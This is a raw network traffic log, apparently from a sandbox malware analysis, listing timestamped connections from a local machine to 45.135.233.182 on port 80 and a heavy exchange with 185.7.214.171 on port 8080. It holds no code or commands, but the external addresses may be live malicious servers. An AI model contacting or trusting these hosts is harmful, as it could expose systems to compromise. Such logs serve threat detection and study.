Jan 13, 2022 20:50:31.583441019 CET	49744	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:31.639966965 CET	80	49744	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:31.640253067 CET	49744	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:31.640486002 CET	49744	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:31.640496016 CET	49744	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:31.696110010 CET	80	49744	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:31.745389938 CET	80	49744	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:31.745546103 CET	49744	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:31.746046066 CET	49744	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:31.778451920 CET	49745	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:31.802175999 CET	80	49744	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:31.838154078 CET	80	49745	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:31.838320971 CET	49745	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:31.838447094 CET	49745	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:31.839258909 CET	49745	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:31.896972895 CET	80	49745	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:31.897020102 CET	80	49745	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:31.948347092 CET	80	49745	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:31.948455095 CET	49745	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:31.948637009 CET	49745	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:31.981200933 CET	49746	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:32.008306980 CET	80	49745	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:32.044060946 CET	80	49746	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:32.044918060 CET	49746	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:32.045003891 CET	49746	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:32.045015097 CET	49746	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:32.103081942 CET	80	49746	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:32.158276081 CET	80	49746	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:32.158354998 CET	49746	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:32.158509970 CET	49746	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:32.196100950 CET	49747	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:32.215617895 CET	80	49746	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:32.252022982 CET	80	49747	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:32.252129078 CET	49747	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:32.252260923 CET	49747	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:32.252281904 CET	49747	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:32.310884953 CET	80	49747	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:32.360299110 CET	80	49747	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:32.360399008 CET	49747	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:32.360586882 CET	49747	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:32.376562119 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.418024063 CET	80	49747	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:32.438252926 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.439060926 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.439156055 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.502270937 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.502302885 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.502321959 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.502340078 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.502357006 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.502374887 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.502392054 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.502408028 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.502424955 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.502433062 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.502441883 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.502458096 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.502468109 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.502490044 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.502506971 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.563687086 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.563718081 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.563735962 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.563754082 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.563770056 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.563787937 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.563792944 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.563802004 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.563819885 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.563843966 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.563860893 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.563879967 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.563880920 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.563889980 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.563898087 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.563914061 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.563918114 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.563931942 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.563949108 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.563960075 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.563965082 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.563988924 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.564019918 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.564655066 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.564682961 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.564699888 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.564717054 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.564745903 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.564764977 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.626286030 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626316071 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626332998 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626351118 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626368046 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626384974 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626399040 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626416922 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626434088 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626434088 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.626451015 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626468897 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626477957 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.626487017 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626513958 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.626534939 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.626565933 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626583099 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626600981 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626617908 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626633883 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626643896 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.626652956 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626668930 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626686096 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626691103 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.626704931 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626714945 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.626723051 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626740932 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626740932 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.626758099 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626771927 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.626797915 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626806021 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.626815081 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626832962 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626848936 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626863003 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.626866102 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626884937 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626900911 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626905918 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.626919031 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626929998 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.626936913 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626955032 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.626977921 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.626995087 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.629611969 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.629640102 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.629659891 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.629678011 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.629695892 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.629709959 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.629713058 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.629744053 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.629790068 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.687381983 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.687410116 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.687427998 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.687446117 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.687462091 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.687479019 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.687525034 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.687556982 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.687669992 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.687690020 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.687705994 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.687724113 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.687741041 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.687757969 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.687772989 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.687774897 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.687793970 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.687798977 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.687825918 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.687849045 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.687875986 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.687895060 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.687912941 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.687939882 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.687967062 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.688188076 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.688194036 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.688201904 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.688216925 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.688318014 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.688421965 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.688442945 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.688460112 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.688477993 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.688520908 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.688530922 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.688539982 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.688541889 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.688591957 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.689009905 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.689033985 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.689052105 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.689069033 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.689085960 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.689086914 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.689104080 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.689116955 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.689121962 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.689141035 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.689161062 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.689169884 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.689177990 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.689203978 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.689224958 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.689960957 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.689991951 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.690010071 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.690027952 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.690062046 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.690093994 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.691211939 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.691240072 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.691257000 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.691273928 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.691291094 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.691292048 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.691308022 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.691328049 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.691344023 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.748600006 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.748629093 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.748646021 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.748663902 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.748681068 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.748697996 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.748716116 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.748718977 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.748733044 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.748755932 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.748756886 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.748761892 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.748775005 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.748779058 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.748792887 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.748810053 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.748825073 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.748826981 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.748843908 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.748855114 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.748861074 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.748879910 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.748889923 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.748898983 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.748928070 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.749412060 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.749433994 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.749452114 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.749469995 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.749488115 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.749488115 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.749505997 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.749521971 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.749522924 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.749533892 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.749541044 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.749560118 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.749572039 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.749586105 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.749593019 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.749627113 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.749715090 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.749924898 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.749944925 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.749962091 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.749979019 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.749995947 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.750000000 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.750031948 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.750051975 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.750053883 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.750068903 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.750086069 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.750087976 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.750128031 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.751691103 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.751725912 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.751749992 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.751883030 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.751905918 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.752031088 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.752058029 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.752115011 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.752269983 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.752295017 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.752316952 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.752340078 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.752401114 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.752425909 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.809775114 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.809811115 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.809833050 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.809874058 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.809878111 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.809902906 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.809926987 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.809933901 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.809951067 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.809974909 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.809978962 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.809998035 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.810019016 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.810435057 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.810461044 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.810482979 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.810506105 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.810523033 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.810525894 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.810549974 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.810559988 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.810575008 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.810576916 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.810597897 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.810616970 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.810617924 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.810636044 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.810653925 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.810671091 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.810688019 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.810705900 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.810728073 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.810728073 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.810750008 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.810750961 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.810772896 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.810779095 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.810797930 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.810822010 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.810826063 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.810843945 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.810866117 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.810887098 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.810892105 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.810909986 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.810931921 CET	8080	49748	185.7.214.171	192.168.2.5
Jan 13, 2022 20:50:32.810931921 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.810945034 CET	49748	8080	192.168.2.5	185.7.214.171
Jan 13, 2022 20:50:32.810956955 CET	8080	49748	185.7.214.171	192.168.2.5
